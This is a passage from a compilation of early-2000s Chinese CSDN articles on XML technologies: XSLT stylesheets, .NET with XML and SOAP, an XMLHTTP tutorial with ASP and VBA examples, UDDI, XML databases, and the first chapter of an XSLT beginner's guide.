                <td bgcolor="#ff0000">

                 <xsl:value-of select="ARTIST"/>

                </td>

             </xsl:when>

             <xsl:otherwise>

                <td><xsl:value-of select="ARTIST"/></td>

             </xsl:otherwise>

            </xsl:choose>

     </tr>

         </xsl:for-each>

        </table>

     </body>

     </html>

    </xsl:template>

    </xsl:stylesheet>

在浏览器中转换
    以下是在浏览器中将XML文件转换成HTML所需要的简单代码：

    <html>

    <body>

    <script language="javascript">

    // Load XML

    var xml = new ActiveXObject("Microsoft.XMLDOM")

    xml.async = false

    xml.load("cd_catalog.xml")

    // Load the XSL

    var xsl = new ActiveXObject("Microsoft.XMLDOM")

    xsl.async = false

    xsl.load("cd_catalog_choose.xsl")

    // Transform

    document.write(xml.transformNode(xsl))

    </script>

    </body>

    </html>


csdn_.Net的精髓-XML和SOAP（一）

  .Net的精髓-XML和SOAP（一）
作者： 青苹果工作室
看了那么多广告和宣传，现在你可能开始对 .NET 是什么有了一个想法。Internet 的应用正在不断地扩大，但我们的 Internet 编程方式还处于石器时代。Internet 用户就像老式主机的分时终端上的用户一样，他们从一个受保护的资源请求信息，然后等待回应。你从正在浏览的 Internet 站点上接收的信息由它希望提供给你的、基于 HTML 的信息组成的。

     但是，同远程 Web 站点进行交互式操作是不是更有趣？如果我们能用某种方法访问远程站点提供的计算能力并利用它的服务，而不仅仅是利用它的发布能力，会不会更好？这就是 .NET 将要提供的精华。

     .NET 将远程服务器所提供的计算能力和允许用户交互操作所必需的通讯结合在一起。明确地说，.NET 是为你－Internet 开发者－所设计的，它帮助你创建可扩充的新能力。你的 Internet 站点不应该成为带宽海洋中的孤岛，相反，你能以这样的 方式建立你的站点：通过合作和互操作能力，使它融入 Internet 之中。

     所有这些的关键，当然是合作的能力。要具有互操作性，要以高速数据传输率来共享数据。如何做到这些？为什么 .NET 发生在今天而不是五年以前？

     当然一部分答案就在我们今天身在其中的网络技术之中。从来没有现在那么多的人拥有高速带宽连接，并且在不久的将来还会有更多的人加入进来。想像一下人人拥有 DSL、Cable Modem 或宽带无线连接的时代 ...... 我们将很难回忆起 300 波特 Modem 的时代 :-(

     在过去的几年里，两个最关键的进展就是引入了 XML 及其在 SOAP 中的应用。这些技术都是 .NET 的核心。要成为 .NET 开发世界中的佼佼者，就必须理解 XML 和 SOAP。


csdn_.Net的精髓-XML和SOAP（二）

  .Net的精髓-XML和SOAP（二）
作者： 青苹果工作室
.NET 技术

     你可能已经阅读了一些关于 .NET 是什么和由什么东西组成的文章。.NET 允许我们在服务的层次上而不是在发布的层次上来共享信息并交互。Microsoft 的支持 .NET 的产品和许多来自第三方的组件、内容和功能拥有 .NET 的内部结构。但自然地会提出一个问题：“是什么使 .NET 能够工作？”

     这些都从 XML 开始。

     用XML实现数据编码

     要想理解 .NET ，就需要理解 XML。像我们在自己的交流中所说和写的语言一样，XML，eXtensible Markup Language，可扩展标记语言，是 .NET 的基础。也许我们有伟大的思想和信息可以分享，但如果我们不能以一种别人可以理解的方式来表述我们的思想和信息，我们的艰苦工作和想法就只能躺在那里睡大觉。XML 是 .NET 的灵魂，是所有 .NET 现在和将来的基础。数据库将通过 XML 中的纪录集来读写，Web 浏览器将接受 XML 并将其和伴随它的样式表一起显示，Visual Studio 甚至会产生 XML 代码！不理解 XML 和与之相关的技术，你就不能同支持 .NET 的资源交流，无论是站点还是人！

     对于今天的 Web 服务器而言，XML 差不多无所不在了。几乎所有的计算平台都能分析 XML，因而也就能获得 XML 文档中的内容。Windows 能，Linux 能，当然 MVS 和 VMS 也能。甚至蜂窝式移动电话也能！所以，如果我们能找到一种方式从远程系统获得 XML 文档，问题就剩下如何理解文档中包含的数据了。这时，我们通过 SOAP 搭载 XML 文档。


csdn_.Net的精髓-XML和SOAP（三）

  .Net的精髓-XML和SOAP（三）
作者： 青苹果工作室
用SOAP实现数据通讯

     长期以来我们使用超文本传输协议 HTTP 来提供 Web 页面以及往来的内容。但当我们将 HTTP 或一些其它 Internet 传输协议 同 XML 结合起来，并指定 XML 文档自身的格式时，你得到了简单对象访问协议 SOAP。至少在开始构想它时，SOAP是被设计为从本地系统向远程系统传递远端方法调用的。基于 SOAP 的结构与同时代的其它远程结构—DCOM、CORBA 和 RMI 等等—所不同的，SOAP 协议可以穿越任何团体的防火墙，并且 SOAP 数据包中包含着以 XML 编码的数据。而且，它们易于分析和使用。SOAP 还有很好的伸缩性，这使得我们能同时为非常多的用户服务。

     SOAP 模型最初的构想是使用请求-响应模型，同我们今天所用的 Internet 计算模型很相似。随后，SOAP 发展到包含了消息模型。两者的不同之处是 SOAP 在对远端系统上的方法参数进行编码时，有获得结果的特殊目的。它并不请求 Web 站点提供一个感兴趣的数据表格，相反，比如说，在同样的系统上我能调用一个假想称为 CalculatePayment() 的远程调用，并收到一个个人付款数值。是的，今天你能用一个表单做到这些，但关键是在调用服务和提交表单之间存在着差别。服务调用是功能更强的概念。

     .NET：数据共享平台

     给我一种语言 XML 和一种通讯方式 SOAP，我就能建立允许我们交互和合作的系统。这就是 .NET。最初，Microsoft 将建立这种强大的共享，然后他们需要一些时间将最初的版本放到公共领域。如果 .NET 像预期的那样工作，它将改变我们的计算习惯和业务实践，就像在过去的二十年里 DOS 和 Windows 所做的那样。可以预见，鼓励用户进行交互并为 Web 消费者提供服务的站点将繁荣昌盛。这些站点不会遇到麻烦甚至消亡，因为 Internet 消费者正在更多地意识到他们需要得到增强的服务。

     胖客户机计算并没有消亡，但瘦客户机计算正在市场上变得更加流行。作为一个开发者或项目经理，应该有责任学习最新的概念和技术，并把它们应用到业务实践之中。记住达尔文的圣言：进化在产生，但自然选择也在进行。


csdn_XMLHTTP: 网站超级粘合剂

  XMLHTTP: 网站超级粘合剂
翻译：Batman
简介
许多ASP开发者都希望在自己的网站中能够使用到微软提供的支持XML
的新功能。其中，有些人发现可以使用XML来装饰网站，但是，如果仅仅
是只使用XMLDOM的话，你就会失去其他一些更重要的东西。毕竟，XML是用来
作为一种网上数据表现和数据交换的形象出现的。尽管使用XML可以非常满意
地描绘你的数据，但是开发者却不得不使用CGI来进行浏览器和服务器之间的
数据交换，除非你在浏览器端和客户端都使用XML文档。
当然CGI从传达信息的角度来说是能够完全胜任的，但是如果要是和XML来
一起使用的话就让XML失去了很多自己的用处。幸运的是，微软提供了一种更加
有效的方法来传输XML，虽然该方法在很大程度上并不被人所重视。
在微软提供的MSXML解释器包中有一系列的对象，也许没有人会重视其中的
XMLHTTPConnection对象。简而言之，它允许你打开一个到服务器上的HTTP连接，
发送一些数据和取回一些数据。并且所有的这一切都是在很少的几段脚本中就能够实现。
使用XMLHTTP对象通常是进行XML数据交换，但其他格式的数据也是允许的。

在商业程序中的运用
这种交换类型的标准模式是客户端发送一个XML格式的文本字符串到服务端，
然后服务端将这个字符串装载入一个XMLDOM对象中并且解释它，然后返回一段
HTML给客户端，或则是另外一段XML代码给客户端让客户端的浏览器自己解释。
在这种方式下，对于信息的传递来说是非常有效的形式，尤其是当你使用
DHTML允许你根据返回信息动态显示时。
举例如下（只能够运行在客户端和服务端都安装有IE5的情况下）
<%
if (Request.ServerVariables("REQUEST_METHOD") == "POST" )
{
var req= Server.CreateObject("Microsoft.XMLDOM");
req.async=false;
req.load(Request);
if (req.documentElement.nodeName=="timesheet")
{
//对数据随便进行一些处理。。。
.....
Response.write("<h1>Timesheet Updated!</h1><b>"+req.documentElement.text+"</b>");
}
}
else
{ %>

<div id="divDisplay">The response will be put in here</div>
<input type="button" onclick="sendData();" value="Send it!">
<script>
function sendData(){
var xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.Open("POST", "http://www.yoursite.com/thispage.asp", false);
xmlhttp.Send("<timesheet>An impossibly useless timesheet fragment</timesheet>");
divDisplay.innerHTML=xmlhttp.responseText;
}
</script>
<% } %>

在上面的代码中，其中客户端的脚本将建立一个适当的COM对象，打开一个在网站
www.yoursite.com的连接（使用了HTTP的POST方法，同步方式），使用Send方法发送
一个XML片段，然后根据服务器上的响应填充divDisplay区域（这里使用了DHTML）。
具体的执行过程是，在服务器上，Request对象被转载入一个XML文档然后被解释器解释。
服务器响应XMLHTTP连接的方式和响应其他任何方式的HTTP连接是一样的，也是使用了
Response对象。注意的是XMLHTTP本身并不检查request或则response的有效性，也就是说
Request或则Response中的数据可是并不需要一定是XML文档。
“聪明，”你也许会说。“但是为什么我们不使用CGI来代替它呢？”呵呵，我们要注意
这样一件事，就是如果使用这种方式进行客户端--服务端的交互时整个页面并没有被刷新。
我们都知道，如果要是通过CGI来做任何事情都必将导致浏览器接收一个完整的新页面，而
这尤其影响网站上的访问者，因为他们不得不把所有的时间都用来等候整个页面下载完毕。
同样，CGI对于网站服务器来说也是一个负担，因为它不得不把宝贵的处理器循环周期和带宽
消耗在新页面的所有部分。如果这样的操作只是一次或则两次倒无所谓，但是如果是对任何
一个电子商务网站或则一个基于Web的电子邮件系统，这将意味着大量的同样的基本页面信息
被重复一次又一次的装载。
同样，如果是通过CGI在网站运用程序中使用XML，服务端一般都将不得不根据数据来建立
XML的文档，然后才能够对这些文档进行自己需要的处理。在这种方式下，服务器将花费
大量的精力在处理如何建构这些XML文档上，尤其是当需要传送的数据量很大时。
所以如果是让客户端的浏览器来建立这个XML文档，并且在建立完毕后通过XMLHTTP将最后的
产品传递给服务器，这将大大减轻服务端的代码量和负担。
这种类型的问题的一个例子是给服务器上的XML文档增加数据。如果是使用CGI的话，那么
就需要频繁的查询一个CGI的form，然后才能够构建一个加入XML文档的XML节点。而如果是使用
XMLHTTP需要做的仅仅是把这个XML节点传递给服务端就可以了。

上面说讨论的是XMLHTTP基本部分，有关它的详细例子你可以在Microsoft Developers
Network中找到例子 。虽然使用这种通讯方式可以大有作为，我在我自己的运用中仅仅只是
使用到了很少的一部分，也许任何一个聪明的开发者都能够发现更多的运用事例。

使用XMLHTTP而不是CGI(即使是我们心爱的ASP)能够让我编写更多野心勃勃的网站运用
程序，因为现在我们所关心的简单到只是我们需要发送的数据而已。从而使用很少的代码
就能够实现非常复杂的功能，而CGI对于用户每一个可能的操作都需要我们来完完整整地
生成一个新的页面。
但是由于目前并不是所有的浏览器都支持MSXML，许多使用ASP编写的为了非企业内部
目的的运用程序需要支持CGI的交互。但是欣慰的是，编写一个同时支持CGI和XMLHTTP数据
的页面并不是很困难，并且将CGI的数据载入XML文档中花费的工作量也不是很大。
最简单的方式来判断数据是CGI的数据还是XML的数据就是判断数据的MIME类型.
XMLHTTP的MIME是一个空字符串，除非你特定了其他的MIME类型 (可以到这个连接
查看不同的MIME类型http://msdn.microsoft.com/xml/reference/scriptref/XMLHttpRequest_object.asp).
而许多CGI的MIME类型是"application/x-www-form-urlencoded"
下面就是一个来判断的代码片段：

<%
if (Request.ServerVariables("REQUEST_METHOD") == "POST" )
{
if (Request.ServerVariables("CONTENT_TYPE")=="application/x-www-form-urlencoded")
{//如果是常规数据，让CGI来处理
Response.write(Request.form("stuff"));

}
else
{//如果是XMLHTTP连接,将Request对象转载入XML解释器
var req= Server.CreateObject("Microsoft.XMLDOM");
req.resolveExternals=false;
req.validateOnParse=false;
req.async=false;
req.load(Request);
Response.write(req.documentElement.selectSingleNode("stuff").text);
}
}
else{ %>

这是一种简单明了的在同一个ASP页面中即可以处理CGI也可以处理XMLHTTP数据的方法。
并且它也提供了一种能够兼容在客户端安装了IE5.0以及使用其他其他浏览器浏览网站的模式。
或则也可以采取另外一种方法，就是我对所有的网站运用程序还是采用以前的CGI接口，
但是在其他类型的客户端运用程序使用XMLHTTP方法，例如Microsoft Office运用程序。
XMLHTTP的功能并不仅仅局限在浏览器上，我在Microsoft Office的VBA开发程序中使用XMLHTTP
取得了巨大的成功。现在我假设我被要求使用XML技术在更新我公司服务器上的Excel电子表
格中的数据。Excel能够将HTML表格直接转载到自己的表格中，但是它不能够处理格式复杂的
页面，例如本页。数据除非使用了非常巧妙的技巧根本没法插入电子表格。
我的解决方法是编写了一个ASP页面来操纵通过XMLHTTP从Excel中传递过来的数据。
通过一个VBA的宏给服务器发送一个请求，然后将响应载入XML文档，通过解释器解释后再
插入Excel的电子表格中。这将是一个无痕的解决方案，简单的一个按钮也许会让你的老板、
同事或任何其他人的关系大有改观。
下面是我实现上述方法的一个代码片段。它使用XMLHTTP将服务器中的信息载入，然后将
其插入电子表格中。

Public Sub UpdateSheet()

Dim xmlhttp
Set xmlhttp = CreateObject("Microsoft.XMLHTTP")
Call xmlhttp.Open("POST", "http://www.yourserver.com/yourpage.asp", False)
Call xmlhttp.send("<reqtimesheet user='jimbob'/>")

Dim xmldoc
Set xmldoc = CreateObject("Microsoft.XMLDOM")
xmldoc.async = False
xmldoc.loadxml(xmlhttp.responsexml)
Worksheets("TimeSheet").Range("A1").Value = xmldoc.documentelement.getAttribute("firstname")
Worksheets("TimeSheet").Range("B1").Value = xmldoc.documentelement.getAttribute("lastname")
Worksheets("TimeSheet").Range("C37").Value = xmldoc.documentelement.selectSingleNode("totalhours").Text
End Sub

这个VBA的宏相当的简单。给服务器发送一个请求，然后将服务器上的响应插入
XML文档，然后更新Excel中cell中的内容。当然，我们可以使用这个技术做其他更多的运用。
例如从一个Office运用程序中上载数据到服务器上的XML文档中(XML应该是你首选的格式，
而不是Office 2000中提供的愚蠢的OfficeXML实现).或则把XML/ASP作为一个你数据库的shell
这样，你的运用程序对于数据库就有了一个简洁、统一的接口，而对数据库结构的
改动就不必要改动你所有的客户端代码了。

我发现XMLHTTP对象在我的编程中非常的有用。我一般使用Visual Basic, Delphi, 和 Visual J++编写程序，在这个过程中，我经常发现这些语言各自对在线程序处理的方法非常地不同，
他们各自有自己的对网络程序的处理机制，但是如果你要是在处理网络程序时都使用统一
的XMLHTTP连接方式，那么连接服务器的代码将非常小，甚至更优化，这是一种对所有的
语言都统一的接口。


csdn_UDDI（通用发现与发布规范）简介

  UDDI（通用发现与发布规范）简介

UDDI是微软新一代.NET框架的核心技术之一(其他还包括WEB SERVICE、SOAP、XML)，让我们来看看它到底是什么？
Universal Discovery Description and Integration（UDDI，即通用发现与发布方法集）规范定义了一种发布和发现网络服务信息的方式。它是一套公开的实现规则，允许企业注册他们所提供的网络服务信息，以便其他的企业能够找到他们。“网络服务”一词指一个公司所实现的特定的商业功能，通常通过Internet连接为其他公司或软件程序使用这些服务提供途径。

网络服务正成为电子商务的编程重心。例如，一个公司使用另外一个公司的服务，通过Internet连接直接发送购买单。另一个例子是计算通过某种运输方式，运送一定大小或质量的包裹一定距离的费用。

初看起来网络服务发现过程好像是非常简单的。如果一个已知的商务伙伴有一个已知的电子商务网关，还需要发现什么呢？然而这是在默认所有信息都知道的情况下。当您想找出哪个商务伙伴具有某种服务，问题马上就变困难了。一种选择是打电话给各个商务伙伴，然后找到合适的人选。对于一个网络服务，雇佣高科技技术人员来满足任意发现的需要是难于完成的。

解决这个问题的另外一种方法是通过使用在每个公司网站上的网络服务描述文件。毕竟网络爬行者可以访问一个已注册的URL，并且能够发现和索引网页上的文字。然而这种“robots.txt”方法，决定于网络爬行者定位每个网站及网站上服务描述文件的能力。这种分布式方法具有升级潜力，但是缺少一种机制来保证服务描述文件格式的一致性以及跟踪它们所发生的变化的方便性。

UDDI所采用依赖于一个企业分布式注册方法，它们的服务描述文本是使用通用的XML格式。

UDDI业务登记逻辑和UDDI业务登记数据库

UDDI方案的核心部分是UDDI业务登记逻辑，即UDDIBusinessRegistrations，一个XML格式的用来描述事物实体和它的事物服务的文件。从概念上看，一个UDDI业务登记逻辑所提供的信息包括三个部分：“白页”包括地址、协议和已有标识；“黄页”包括基于分类标准的工业类型；“绿页”是关于企业所包含的服务技术信息，包括网络服务说明参考和根据发现机制对各种文件和网址提供的标识支持。

使用UDDI

UDDI包括企业在网上往册的共享操作。在很大程度上，程序和程序员使用UDDI业务登记数据库即UDDIBusinessRegistry查找有关服务的信息，对于程序员，可以准备与广告宣传的网络服务相一致的系统，或者向其他调用的人描述他们的网络服务。UDDIBusinessRegistry可以在企业层面上检查一个特定的合作伙伴是否拥有特定的网络服务接口，以发现在特定行业内拥有特定类型服务的公司，找到有关某个合作伙伴或预期的合作伙伴的信息，以便了解与该服务进行交互所需的技术细节。

从XML和SOAP中，可以往意到，集成和互用性问题已经在各层简化了。XML提供了一个跨平台的方法来进行数据编码和格式化。SOAP是以XML为基础的，它定义了一种对系统间的交换信息进行打包的简单方法。SOAP对于HTTP的绑定是以这个打包协议为基础的，并且定义了在系统之间进行远程调用的方法，这种方法与个别公司选择的程序设计语言或操作系统无关。以前的方法包括复杂的分布式对象标准或技术桥接软件。最后，这些方法没有一种被证明是经济的。采用XML和SOAP，这种跨语言、跨平台的方法简化了两个公司的系统彼此兼容的问题。

即使某个公司考虑到了XML和SOAP，任何两个公司都可能在实施通信基础设施中，仍存在巨大的差异。正如任何一个行业权威人士将会告诉您的：“需要的是建立在为每一个计算平台普遍支持的标准之上的、完全终端到端（end-to-end）的解决方案。”显然，要实现这个目标有更多的工作要做。UDDI规范吸取了XML和SOAP的教训，定义了一个上层结构，使得两个公司可以共享一个方法来查询彼此的特性，并对他们自己的特性进行描述。

UDDI技术发现层

UDDI规范描述了网络服务的概念。以及一种简单的定义描述任何种类的网络服务的架构的编程接口。这个规范有几个相关文件和一个XML模式组成，这个XML模式定义了用于注册和发现网络服务的基于SOAP的程序设计协议。这些规范由来自几个领先的公司的技术人员和管理人员用几个月的时间确定的。同时，这些公司承担了首先实施UDDI服务，并将这些服务作为共享所有注册信息的可公开访问的、多站点合作运行的任务。

注册（BusinessRegistry）规范之间的关系，这种方式提供了对有关网络服务信息的“一次注册，处处发布”的访问方式。

利用UDDI发现服务，企业可以单独地注册有关他们公开的以便其他企业使用的网络服务的信息。这些信息可以通过网站或使用采用在UDDIAPI规范中描述的编程服务接口的工具，添加到UDDI企业注册中。UDDI企业注册是一个逻辑上集中、物理上分布式的、拥有多个根节点的服务，它可以定期彼此复制数据。一旦某个企业利用一个企业注册服务示例进行注册，数据自动与其他UDDI根节点共享，并且可以为任何需要了解某个特定企业所提供的网络服务的人自由使用。

请注意UDDI并未构成一个功能齐全的发现服务是很重要的。UDDI服务旨在使得能够采用技术发现服务。利用UDDI定义的工具，某个程序或程序员可以找到有关某个合作伙伴提供的服务的信息，可以了解某个合作伙伴是否拥有与内部技术相兼容的服务，并且可以按照连接找到适合某个网络服务的规范，这样某个集成层可以按照与合作伙伴服务兼容的方式构建。企业还可以直接通过UDDI，或者通过使用UDDI作为其增值服务数据源的在线商场和搜索引擎找到潜在的合作伙伴。这样可以发现技术兼容性，以便软件公司可以使用网络上的UDDI注册，在软件安装和配置时，自动对某些特定的技术连接进行配置。

到这里，我们有条件也有必要做一个总结来理顺.NET核心技术间的逻辑关系，从而理解它们如何围绕Web服务相互作用。

.NET技术使用HTTP/TCP等标准的网络协议完成底层的传输，以XML作为数据表示的基础，通过SOAP说明了用XML在系统间交换信息的方法，通过WSDL（同样基于XML）等服务描述语言来描述和记录Web服务所产生和接收的消息，通过UDDI来登记和寻找服务。

未来的工作

在UDDI方面工作的小组正在计划对OpenDraft规范中的功能性进行扩展，使其能够解决更多问题，而不仅仅是技术发现问题。将来的特性将提供查找产品和服务、定义网络服务实施规范的能力，以及提供管理分层的商务组织、团体和贸易集团的能力。推动目标是为网络服务互用性提供一个公共规范。


csdn_XML“走进”数据库

  XML“走进”数据库
张大佑 编译
可扩展标记语言(XML，Extensible Markup Language)目前正在成为各种数据特别是文档的首选格式。由于它具有标记不同字段(field)的能力，使得搜索变得更简单和动态化，从而把企业准备扔进废纸篓的文件变成了进行数据挖掘的宝藏。XML把内容从演示格式中解放出来，使材料可以多次重复使用。这样一来，同样的内容可以分别用于新闻发布、白皮书、宣传册、演示和Web页面。对那些需要把不兼容的系统融合在一起的企业，XML可以充当公共传输工具，以中性格式进行数据传输。此外，XML还可以处理各种数据，包括文本、图像和声音，并且可以由用户进行扩展以处理任何特殊类型的数据。

XML的特性使之成为在线和离线数据的共同语言。

现在的问题是，怎样管理XML标记的数据。一种很有希望的方法是用数据库对XML进行存储、检索和操作，即把XML标记的数据收入一个框架中，在一种更容易管理、更系统化、更为人们所熟悉的环境中完成搜索、分析、更新和成果输出工作。

这里有两种不同的观点：纯粹派认为，只有以XML原始的格式存储XML的数据库才能称为XML数据库；另一些人认为，只要能存入和检出XML，且它本身又是一个数据库，那它就是一个XML数据库，而不必考虑数据是怎样存入的。我们暂且把两派之争放在一边，凡内部不是以XML格式存储的XML数据库，叫做“XML- enabled数据库”；如果内部以XML格式存储数据，就称为“native-XML数据库”。

使用现有的数据库类型和产品而不是以原始格式来存储 XML，是出自以下几种考虑：首先，普通的关系数据库和面向对象数据库已尽人皆知，而 native-XML数据库是新的；其次，人们熟知现有的关系数据库和面向对象数据库，也了解它们的行为和性能，因此，他们不愿意转向native-XML数据库，因为其性能，特别是可伸缩性尚未经过检验；最后，在企业看来，选择关系数据库和面向对象数据库是比较安全的，不到迫不得已用不着冒险使用新的native-XML数据库。

所幸的是，您用不着去冒险。现在已经有一些能够很好地处理XML的XML-enabled数据库，并且是由久经考验的关系数据库和面向对象数据库担此重任。这些数据库在收到XML后，将其分解为字段并按通常的方式存储它们，当检索XML 时，这些字段再被拼接成原状。

设在麻省Reading的Xyvision企业解决方案公司研制的 Content@XML是一套内容管理系统，它可以在任何一种流行的关系数据库中存储XML文件。其好处是可以开展基于内容的协同工作，进行多通道内容输出。一家技术出版商选用了 Content@XML，他们说XML将他们2周的工作压缩到几分钟，“该系统接受的是XML材料，给出的却是你想要的任何格式的结果。”

Lotus公司的Domino数据库也可以处理XML，而且其 XML Toolkit甚至可以让您像在native-XML数据库中一样创建和处理内容。

在关系数据库中处理XML数据时，可用第三方中间件进行转换，其中有一种产品称为XML-DBMS,这是一种基于Java Database Connectivity(JDBC) 的工具，可以在XML文档和数据库之间传输数据。

不过，利用关系数据库和面向对象数据库存储XML也遭到一些批评。例如，有人认为，XML最具吸引力的特性之一是其分层结构，而关系数据库却将XML映射成关系表，从而将XML结构变成了平面的行和列。另外，遇到大型或复杂文档时，在XML与数据库之间进行来回转换要耗费相当多的处理时间，从而降低了Web页面的生成速度。

目前，native-XML数据库已经开始出现，尽管人们还不能完全信任它，但的确有一些native-XML数据库开始在实际应用中受到得青睐。另外，主流的数据库厂商也可能在适当的时机推出自己的native-XML数据库产品。

第一个，可能也是最有名的商用native-XML数据库是位于美国加州的Software AG公司开发的Tamino。除了可以存储和访问XML外，Tamino 还具备多项功能，包括Open Database Connectivity、符合Unicode要求、HTTP通信及处理非XML数据的能力。Gartner Group的一份报告指出：“Tamino特别适用于需要从多种不同平台和格式整合信息并向业务伙伴或客户散发这些信息的机构。”

据介绍，Tamino拥有直接XML检索和特殊检索的能力，其查询语言强大而简短，可进入任意深度，使SQL相形见绌。

其他native-XML数据库包括dbXML、eXcelon和 XHive/DB，分别由美国的dbXML Group LLC公司、 eXcelon公司和荷兰的The Connection Factory公司研制。奇怪的是，对native-XML数据库的主要批评之一是性能问题。有人预见到，当所搜寻的信息位于大文档的未尾时，由于缺乏其他机制，native-XML 数据库只能艰苦跋涉到最后，而关系数据库和面向对象数据库则可以将文档分成小块同时进行搜索，速度当然要快得多。

当然，上述困难并非无法克服，只要在存储时给各文档分别加上索引就行了。Tamino就具有这种索引能力，从而弥补了大型文档搜索的不足，另外，native-XML存储消除了不必要的转换操作。目前，Tamina有Windows NT、Windows 2000、Solaris和SCO Unix等版本，将来还要出Linux和一些大型机版本。

目前，许多主流的数据库厂商都在把XML支持结合到其产品中，或者提供可在其数据库中使用XML的工具。IBM提供了XML Extender for DB2，以允许用户在DB2中存储XML文档，并提供一些新功能协助用户处理XML文档；Microsoft 的SQL Server 6.5和7.0也进行了XML扩充，据悉SQL将来要加入XML输出选项，用以向其他系统传送信息。Oracle也拥有功能强大的XML索引引擎。

有专家预计，这些数据库厂商不久将推出自己的native- XML数据库，以满足基于Web的电子商务对XML数据处理的需求。

总之，XML的需求正在扩大，新的应用包括采用XML 标签的Internet搜索引擎、必须快速输出结果的电子商务系统、带XML标签的电子数据交换、数据重复使用和内容个性化。作为处理上述应用的一环，XML数据库的需求也将快速增长。


csdn_XSLT轻松入门第一章：XSLT概念

  XSLT轻松入门第一章：XSLT概念
作者： 阿捷
前言

大家好，从今天起我们将一起来学习XML家族的另一种语言XSLT，XSLT类似HTML中的CSS，但是比CSS功能要强大的多。学习XSLT的前提是您对XML已经有一些了解，如果您没有学习过XML，可以先点这里(http://www.etechnic.com.cn/columns/xml_1.shtml)看我先前写的一篇文章《XML轻松入门手册》。XSLT可以说更偏向是一种程序语言，但它没有常见程序语言复杂，甚至比js等脚本语言还简单，所以不必担心学习困难。阿捷将依然站在普通设计师的角度，用平实易懂的语言，由浅入深的介绍XSLT。好了，让我们一起来探索XSLT的秘密吧！

声明：因为XSLT的标准在不断发展，语法也在不断扩充，我们下面所学习的知识是以1999年11月16日发布的XSLT 1.0为基准的，所以可能是不完整的，最新的资料请到W3C网站(http://www.w3.org/TR/xslt)。

提纲

本文共分五大章：XSLT概念，XSLT的实例，XSLT的元素语法，XPath的语法，XSLT的资源。

1.XSLT的概念

1.1 什么是XSLT

1.2 为什么要用XSLT

1.3 XSLT的历史

1.4 什么是XPath

1.5 XSLT和CSS的比较

1.6 XSLT和IE5

1.XSLT的概念

我们首先来澄清一个概念，大家可能听说过XSL(eXtensible Stylesheet Language)，XSL和我们这里说的XSLT从狭义上理解是一样的,而按照W3C的标准，XSLT的说法更严格些，因此我们在文章中统一使用XSLT的称法。它们之间具体的关系我们会在下面讲述。

1.1 什么是XSLT

XSLT的英文标准名称为eXtensible Stylesheet Language Transformation。根据W3C的规范说明书(http://www.w3.org/TR/xslt)，最早设计XSLT的用意是帮助XML文档(document)转换为其它文档。但是随着发展，XSLT已不仅仅用于将XML转换为HTML或其它文本格式，更全面的定义应该是：

XSLT是一种用来转换XML文档结构的语言。

1.2 为什么要用XSLT

我们已经知道，XML是一种电脑程序间交换原始数据的简单而标准的方法。它的成功并不在于它容易被人们书写和阅读，更重要的是，它从根本上解决了应用系统间的信息交换。因为XML满足了两个基本的需求：

(1).将数据和表达形式分离。就象天气预报的信息可以显示在不同的设备上，电视，手机或者其它。

(2).在不同的应用之间传输数据。电子商务数据交换的与日俱增使得这种需求越来越紧迫。

为了使数据便于人们的阅读理解，我们需要将信息显示出来或者打印出来，例如将数据变成一个HTML文件，一个PDF文件，甚至是一段声音；同样，为了使数据适合不同的应用程序，我们必须有能够将一种数据格式转换为另一种数据格式，比如需求格式可能是一个文本文件，一个SQL语句，一个HTTP信息，一定顺序的数据调用等。而XSLT就是我们用来实现这种转换功能的语言。将XML转换为HTML，是目前XSLT最主要的功能。

1.3 XSLT的历史

想很多其他XML家族成员一样，XSLT是由W3C起草和制定的。它的主要发展历程如下：

.1995年由James Clark提议；

.1997年8月正式提案为XSL；

.1998年5月由Norman Walsh完成需求概要；

.1998年8月18日XSL草案发布；

.1999年11月16日正式发布XSL 1.0推荐版本。

目前，XSLT仍然在快速的发展中，XSLT1.1的草案已经可以在W3C网站(http://www.w3.org/TR/xslt11)上看到。

1.4 什么是XPath

XPath是XSLT的重要组成部分，我们将在第四章讲解它的详细语法。那么XPath是什么呢？我们首先来了解一下XSL系列的"家族"关系。如下图：

XSL在转换XML文档时分为明显的两个过程，第一转换文档结构；其次将文档格式化输出。这两步可以分离开来并单独处理，因此XSL在发展过程中逐渐分裂为XSLT(结构转换)和XSL-FO(formatting objects)(格式化输出)两种分支语言，其中XSL-FO的作用就类似CSS在HTML中的作用。而我们这里重点讨论的是第一步的转换过程，也就是XSLT。

另外，在学习XML时我们已经知道XML是一个完整的树结构文档。在转换XML文档时可能需要处理其中的一部分(节点)数据，那么如何查找和定位XML文档中的信息呢，XPath就是一种专门用来在XML文档中查找信息的语言。XPath隶属XSLT，因此我们通常会将XSLT语法和XPath语法混在一起说。

用一种比较好理解的解释：如果将XML文档看作一个数据库，XPath就是SQL查询语言；如果将XML文档看成DOS目录结构，XPath就是cd,dir等目录操作命令的集合。

1.5 XSLT和CSS的比较

CSS同样可以格式化XML文档，那么有了CSS为什么还需要XSLT呢？因为CSS虽然能够很好的控制输出的样式，比如色彩，字体，大小等，但是它有严重的局限性，就是：

(1) CSS不能重新排序文档中的元素；

(2) CSS不能判断和控制哪个元素被显示，哪个不被显示；

(3) CSS不能统计计算元素中的数据；

换句话说，CSS只适合用于输出比较固定的最终文档。CSS的优点是简洁，消耗系统资源少；而XSLT虽然功能强大，但因为要重新索引XML结构树，所以消耗内存比较多。

因此，我们常常将它们结合起来使用，比如在服务器端用XSLT处理文档，在客户端用CSS来控制显示。可以减少响应时间。

1.6 XSLT和IE5

在XSLT草案发布不久，微软就在IE4中提供了支持XSL功能的预览版本，到IE5.0发布时，正式全面支持XSLT，可是由于IE5发布的比XSLT1.0标准时间早，因此在IE5.0中支持的XSTL功能和XSLT 1.0略有不同。(呵呵~~XML推行的主要原因之一就是解决HTML过分依赖浏览器的问题，现在微软又想标新立异？)。好在微软的IE5.5中执行的标准已经和W3C的XSLT1.0基本相近。但令人头疼的是IE5.0已经发行了几百万套，您使用的XSLT很可能不能被客户的浏览器正确执行。目前XSLT 1.1仍在发展中，W3C及有关组织也在和微软协商争取获得统一。呵呵~~故事还远远没有结束噢。

注意：本文中提到的语法都是根据XSLT 1.0的标准来讲的，没有任何微软的"方言"。


csdn_XSLT轻松入门第二章：XSLT的实例

  XSLT轻松入门第二章：XSLT的实例
作者： 阿捷
2.XSLT的实例

2.1 XSLT如何转换XML

2.2 一个实例

2.3 过程解析

2.4 XSLT的用途

2.1 XSLT如何转换XML

